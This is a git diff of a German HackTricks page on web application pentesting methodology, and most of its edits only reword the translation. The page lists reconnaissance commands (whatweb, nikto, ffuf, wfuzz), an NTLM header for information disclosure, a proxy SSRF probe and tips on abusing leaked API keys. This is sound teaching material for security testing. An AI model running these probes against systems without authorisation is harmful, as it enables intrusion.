* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **einreichen**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -24,7 +24,7 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
|
||||
Der Webdienst ist der **häufigste und umfangreichste Dienst** und es gibt viele **verschiedene Arten von Schwachstellen**.
|
||||
|
||||
**Standardport:** 80 (HTTP), 443(HTTPS)
|
||||
**Standardport:** 80 (HTTP), 443 (HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
|
@ -35,7 +35,7 @@ PORT STATE SERVICE
|
|||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web API Anleitung
|
||||
### Web-API-Anleitung
|
||||
|
||||
{% content-ref url="web-api-pentesting.md" %}
|
||||
[web-api-pentesting.md](web-api-pentesting.md)
|
||||
|
@ -45,27 +45,27 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> In dieser Methodik gehen wir davon aus, dass Sie eine Domain (oder Subdomain) angreifen und nur diese. Wenden Sie diese Methodik daher auf jede entdeckte Domain, Subdomain oder IP mit einem nicht identifizierten Webserver im Scope an.
|
||||
|
||||
* [ ] Beginnen Sie mit der **Identifizierung** der **verwendeten Technologien** des Webservers. Suchen Sie nach **Tricks**, die Sie während des restlichen Tests im Auge behalten sollten, wenn Sie die Technologie erfolgreich identifizieren können.
|
||||
* [ ] Beginnen Sie mit der **Identifizierung** der vom Webserver verwendeten **Technologien**. Suchen Sie nach **Tricks**, die Sie während des restlichen Tests im Auge behalten sollten, wenn Sie die Technologie erfolgreich identifizieren können.
|
||||
* [ ] Gibt es **bekannte Schwachstellen** in der Version der Technologie?
|
||||
* [ ] Verwendung einer **bekannten Technologie**? Gibt es **nützliche Tricks**, um mehr Informationen zu extrahieren?
|
||||
* [ ] Gibt es einen **spezialisierten Scanner** (wie z. B. wpscan), der ausgeführt werden sollte?
|
||||
* [ ] Starten Sie **Scanner für allgemeine Zwecke**. Man weiß nie, ob sie etwas finden oder interessante Informationen entdecken werden.
|
||||
* [ ] Beginnen Sie mit den **initialen Überprüfungen**: **Robots**, **Sitemap**, **404**-Fehler und **SSL/TLS-Scan** (bei HTTPS).
|
||||
* [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist an der Zeit, alle möglichen **Dateien, Ordner** und **verwendeten Parameter** zu **finden**. Überprüfen Sie auch auf **besondere Entdeckungen**.
|
||||
* [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist an der Zeit, alle möglichen **Dateien, Ordner** und **verwendeten Parameter** zu **finden**. Überprüfen Sie auch auf **besondere Funde**.
|
||||
* [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spidering entdeckt wird, es gespidert werden sollte._
|
||||
* [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen.
|
||||
* [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spidering entdeckt wird, es gebrute-forcet werden sollte._
|
||||
* [ ] **Überprüfung von Backups**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
* [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden.
|
||||
* [ ] Sobald Sie alle möglichen **Endpunkte** identifiziert haben, die **Benutzereingaben** akzeptieren, überprüfen Sie alle Arten von damit verbundenen **Schwachstellen**.
|
||||
* [ ] Sobald Sie alle möglichen **Endpunkte** identifiziert haben, die **Benutzereingaben** akzeptieren, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind.
|
||||
* [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
|
||||
## Server-Version (Anfällig?)
|
||||
## Serverversion (Anfällig?)
|
||||
|
||||
### Identifizieren
|
||||
|
||||
Überprüfen Sie, ob es **bekannte Schwachstellen** für die Server-**Version** gibt, die verwendet wird.\
|
||||
Die **HTTP-Header und Cookies der Antwort** können sehr nützlich sein, um die **verwendeten Technologien** und/oder **Versionen** zu **identifizieren**. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Überprüfen Sie, ob es **bekannte Schwachstellen** für die Server-**Version** gibt, die ausgeführt wird.\
|
||||
Die **HTTP-Header und Cookies der Antwort** können sehr nützlich sein, um die verwendeten **Technologien** und/oder **Versionen** zu **identifizieren**. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
@ -104,31 +104,31 @@ Einige **Tricks** zum **Auffinden von Schwachstellen** in verschiedenen bekannte
|
|||
* [**Laravel**](laravel.md)
|
||||
* [**Moodle**](moodle.md)
|
||||
* [**Nginx**](nginx.md)
|
||||
* [**PHP (PHP hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/)
|
||||
* [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/)
|
||||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
* [**Tomcat**](tomcat.md)
|
||||
* [**VMWare**](vmware-esx-vcenter....md)
|
||||
* [**Web-API-Penetrationstests**](web-api-pentesting.md)
|
||||
* [**Web-API-Pentesting**](web-api-pentesting.md)
|
||||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS zu RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Beachten Sie, dass die **gleiche Domain** verschiedene **Technologien** in verschiedenen **Ports**, **Ordnern** und **Subdomains** verwenden kann._\
|
||||
Wenn die Webanwendung eine der oben aufgeführten **bekannten Technologien/Plattformen** oder **eine andere** verwendet, vergessen Sie nicht, im **Internet nach neuen Tricks** zu suchen (und lassen Sie es mich wissen!).
|
||||
Wenn die Webanwendung eine der **vorher aufgeführten bekannten Technologien/Plattformen** oder **eine andere** verwendet, vergessen Sie nicht, im **Internet nach neuen Tricks zu suchen** (und lassen Sie es mich wissen!).
|
||||
|
||||
### Quellcodeüberprüfung
|
||||
|
||||
Wenn der **Quellcode** der Anwendung auf **GitHub** verfügbar ist, neben der Durchführung eines **White-Box-Tests** der Anwendung gibt es **einige Informationen**, die für den aktuellen **Black-Box-Test** nützlich sein könnten:
|
||||
Wenn der **Quellcode** der Anwendung auf **Github** verfügbar ist, neben der Durchführung eines **White-Box-Tests** der Anwendung gibt es **einige Informationen**, die für den aktuellen **Black-Box-Test** nützlich sein könnten:
|
||||
|
||||
* Gibt es eine **Änderungsprotokoll- oder Readme- oder Versionsdatei** oder irgendetwas mit **Versionsinformationen**, die über das Web zugänglich sind?
|
||||
* Wie und wo werden die **Anmeldeinformationen** gespeichert? Gibt es eine (zugängliche?) **Datei** mit Anmeldeinformationen (Benutzernamen oder Passwörtern)?
|
||||
* Liegen die **Passwörter** im **Klartext**, **verschlüsselt** oder welcher **Hash-Algorithmus** wird verwendet?
|
||||
* Wird ein **Master-Key** zum Verschlüsseln von etwas verwendet? Welcher **Algorithmus** wird verwendet?
|
||||
* Können Sie auf einige dieser Dateien zugreifen, indem Sie eine Schwachstelle ausnutzen?
|
||||
* Gibt es interessante Informationen in den **GitHub**- (gelöste und ungelöste) **Problemen**? Oder im **Commit-Verlauf** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
|
||||
* Können Sie auf **eine dieser Dateien zugreifen**, indem Sie eine Schwachstelle ausnutzen?
|
||||
* Gibt es interessante Informationen in den **Github**- (gelöste und ungelöste) **Issues**? Oder im **Commit-Verlauf** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -136,7 +136,7 @@ Wenn der **Quellcode** der Anwendung auf **GitHub** verfügbar ist, neben der Du
|
|||
|
||||
### Automatische Scanner
|
||||
|
||||
#### Allzweck-Automatisierungsscanner
|
||||
#### Allgemeine automatische Scanner
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
|
@ -163,7 +163,7 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Zu diesem Zeitpunkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten vorhanden sind) und einige Tricks im Hinterkopf behalten, die während des Tests hilfreich sein können. Wenn Sie Glück haben, haben Sie möglicherweise sogar ein CMS gefunden und einen Scanner ausgeführt.
|
||||
> Zu diesem Zeitpunkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten vorhanden sind) und einige Tricks im Hinterkopf behalten, die während des Tests hilfreich sein könnten. Wenn Sie Glück haben, haben Sie möglicherweise sogar ein CMS gefunden und einen Scanner ausgeführt.
|
||||
|
||||
## Schritt-für-Schritt-Entdeckung von Webanwendungen
|
||||
|
||||
|
@ -182,7 +182,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
**Erzwingen von Fehlern**
|
||||
|
||||
Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** oder **sensible Informationen offenlegen**.
|
||||
Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** öffnen oder **sensible Informationen preisgeben**.
|
||||
|
||||
* Zugriff auf **Fake-Seiten** wie /whatever\_fake.php (.aspx,.html,.etc)
|
||||
* Fügen Sie "\[]", "]]" und "\[\[" in **Cookie-Werten** und **Parameter**-Werten hinzu, um Fehler zu erzeugen
|
||||
|
@ -198,8 +198,8 @@ Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, aber Sie nicht genügen
|
|||
|
||||
### **SSL/TLS-Schwachstellen**
|
||||
|
||||
* Wenn die Anwendung den **Zwang zur Verwendung von HTTPS** an keiner Stelle erzwingt, ist sie **anfällig für Man-in-the-Middle-Angriffe**
|
||||
* Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**. Dann handelt es sich um eine hohe Schwachstelle.
|
||||
* Wenn die Anwendung den **HTTPS-Zwang nicht erzwingt**, ist sie anfällig für Man-in-the-Middle-Angriffe.
|
||||
* Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**, handelt es sich um eine hohe Schwachstelle.
|
||||
|
||||
Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden wahrscheinlich diese Art von Schwachstellen nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
|
||||
```bash
|
||||
|
@ -230,7 +230,7 @@ Starten Sie eine Art **Spider** im Web. Das Ziel des Spiders ist es, **so viele
|
|||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML-Spider mit JS-Rendering-Fähigkeiten.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML-Spider, mit JS-Beautify-Fähigkeiten zur Suche nach neuen Pfaden in JS-Dateien. Es könnte auch sinnvoll sein, sich [JSScanner](https://github.com/dark-warlord14/JSScanner) anzusehen, das ein Wrapper von LinkFinder ist.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Zum Extrahieren von Endpunkten sowohl aus dem HTML-Quellcode als auch aus eingebetteten JavaScript-Dateien. Nützlich für Bug-Hunter, Red Teamer, Infosec-Ninjas.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7-Skript, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich zum einfachen Entdecken von AJAX-Anfragen. Sieht aus wie nicht gewartet.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7-Skript, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich zum einfachen Entdecken von AJAX-Anfragen. Sieht nach nicht gewartet aus.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bei Angabe einer Datei (HTML) extrahiert es URLs daraus mithilfe einer cleveren regulären Ausdrucks, um die relativen URLs aus hässlichen (minify) Dateien zu finden und zu extrahieren.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS-Dateien mithilfe mehrerer Tools.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Findet JS-Dateien.
|
||||
|
@ -245,9 +245,9 @@ Starten Sie eine Art **Spider** im Web. Das Ziel des Spiders ist es, **so viele
|
|||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um die Parameter und Endpunkte aus der Anfrage zu extrahieren und benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
|
||||
|
||||
### Verzeichnisse und Dateien per Brute Force durchsuchen
|
||||
### Brute-Force-Verzeichnisse und Dateien
|
||||
|
||||
Beginnen Sie mit dem **Brute-Forcing** vom Stammverzeichnis und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen, die durch das **Spidering** **entdeckt** wurden, durchsuchen (Sie können dies rekursiv durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Beginnen Sie mit dem **Brute-Forcing** vom Stammverzeichnis aus und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen **brute-forcen**, die durch das **Spidering** entdeckt wurden (Sie können dies rekursiv durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Werkzeuge:
|
||||
|
||||
* **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**) aber funktionsfähig. Erlaubt selbstsignierte Zertifikate und rekursive Suche. Im Vergleich zu anderen Optionen zu langsam.
|
||||
|
@ -257,8 +257,8 @@ Werkzeuge:
|
|||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Schnell: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Dies ist kein Spider, sondern ein Tool, das bei Angabe der Liste der gefundenen URLs "duplizierte" URLs löscht.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-Erweiterung zum Erstellen einer Liste von Verzeichnissen aus dem Burp-Verlauf verschiedener Seiten
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit duplizierten Funktionen (basierend auf JS-Imports)
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-Erweiterung zum Erstellen einer Liste von Verzeichnissen aus dem Burp-Verlauf verschiedener Seiten.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit duplizierten Funktionen (basierend auf JS-Imports).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Verwendet Wappalyzer, um verwendete Technologien zu erkennen und die zu verwendenden Wortlisten auszuwählen.
|
||||
|
||||
**Empfohlene Wörterbücher:**
|
||||
|
@ -288,13 +288,13 @@ _Hinweis: Jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spiderin
|
|||
* **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, könnten Sie versuchen, versteckte Parameter in jeder ausführbaren Webdatei zu suchen.**
|
||||
* _Arjun alle Standard-Wordlisten:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner "params":_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote "parameters_top_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionalitäten** finden.
|
||||
* Wenn Sie ein **CTF** spielen, ist ein "üblicher" Trick, **Informationen** in Kommentaren am **rechten** Rand der **Seite** zu **verstecken** (unter Verwendung von **Hunderten** von **Leerzeichen**, damit Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **Ende** der Webseite zu **verstecken**.
|
||||
* Wenn Sie ein **CTF** spielen, ist ein "üblicher" Trick, **Informationen** in den Kommentaren am **rechten** Rand der **Seite** zu **verstecken** (unter Verwendung von **Hunderten** von **Leerzeichen**, damit Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **Ende** der Webseite zu **verstecken**.
|
||||
* **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die anzeigt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann.
|
||||
* **S3-Buckets**: Beim Spidering prüfen, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/).
|
||||
* **S3-Buckets**: Beim Spidering prüfen, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen Sie die Berechtigungen** des Buckets](buckets/).
|
||||
|
||||
### Besondere Entdeckungen
|
||||
|
||||
|
@ -305,14 +305,14 @@ _Hinweis: Jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spiderin
|
|||
* Suchen Sie nach **Links** zu anderen Dateien innerhalb der **CSS**-Dateien.
|
||||
* [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md)
|
||||
* Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, DB-Passwörter und andere Informationen gefunden werden.
|
||||
* Wenn Sie **API-Endpunkte** finden, sollten Sie [sie auch testen](web-api-pentesting.md). Diese sind keine Dateien, aber werden wahrscheinlich so "aussehen".
|
||||
* **JS-Dateien**: In der Spidering-Sektion wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hinweisen könnte, dass eine potenzielle Schwachstelle im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
|
||||
* Wenn Sie **API-Endpunkte** finden, sollten Sie [sie auch testen](web-api-pentesting.md). Diese sind keine Dateien, werden aber wahrscheinlich so "aussehen".
|
||||
* **JS-Dateien**: Im Abschnitt zum Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hinweisen könnte, dass eine potenzielle Schwachstelle im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
|
||||
* Überprüfen Sie die entdeckten JS-Dateien auch mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole), um festzustellen, ob sie verwundbar sind.
|
||||
* **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck Deobfuscation** (Javascript mit Zeichen: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* In mehreren Fällen müssen Sie die verwendeten regulären Ausdrücke **verstehen**, dies wird nützlich sein: [https://regex101.com/](https://regex101.com)
|
||||
* In mehreren Fällen müssen Sie die verwendeten regulären Ausdrücke **verstehen**, dies wird hilfreich sein: [https://regex101.com/](https://regex101.com)
|
||||
* Sie könnten auch **die Dateien überwachen, in denen Formulare erkannt wurden**, da eine Änderung am Parameter oder das Erscheinen eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen könnte.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)**
|
||||
|
@ -323,13 +323,13 @@ _Hinweis: Jedes Mal, wenn ein neues Verzeichnis beim Brute-Forcing oder Spiderin
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
Wenn eine Seite mit diesem **Code** antwortet, handelt es sich wahrscheinlich um einen schlecht konfigurierten Proxy. **Wenn Sie eine HTTP-Anfrage wie senden: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern), wird der **Proxy** versuchen, _**google.com**_ **zu öffnen, und Sie haben einen** SSRF gefunden.
|
||||
Wenn eine Seite mit diesem **Code** antwortet, handelt es sich wahrscheinlich um einen schlecht konfigurierten Proxy. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** senden (mit dem Host-Header und anderen gängigen Headern), wird der **Proxy** versuchen, _**google.com**_ **zu öffnen, und Sie haben einen** SSRF gefunden.
|
||||
|
||||
**NTLM-Authentifizierung - Informationspreisgabe**
|
||||
|
||||
Wenn der laufende Server nach Authentifizierung fragt **Windows** ist oder Sie eine Anmeldung finden, die nach Ihren **Anmeldeinformationen** fragt (und nach dem **Domänennamen** fragt), können Sie eine **Informationspreisgabe** provozieren.\
|
||||
**Senden** Sie den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise der **NTLM-Authentifizierung** wird der Server mit internen Informationen (IIS-Version, Windows-Version...) im Header "WWW-Authenticate" antworten.\
|
||||
Sie können dies automatisieren, indem Sie das **nmap-Plugin** "_http-ntlm-info.nse_" verwenden.
|
||||
Sie können dies mit dem **nmap-Plugin** "_http-ntlm-info.nse_" automatisieren.
|
||||
|
||||
**HTTP-Weiterleitung (CTF)**
|
||||
|
||||
|
@ -352,7 +352,7 @@ Weitere Informationen zu Web-Schwachstellen finden Sie unter:
|
|||
|
||||
Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die möglicherweise Schwachstellen einschleusen.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -434,8 +434,8 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
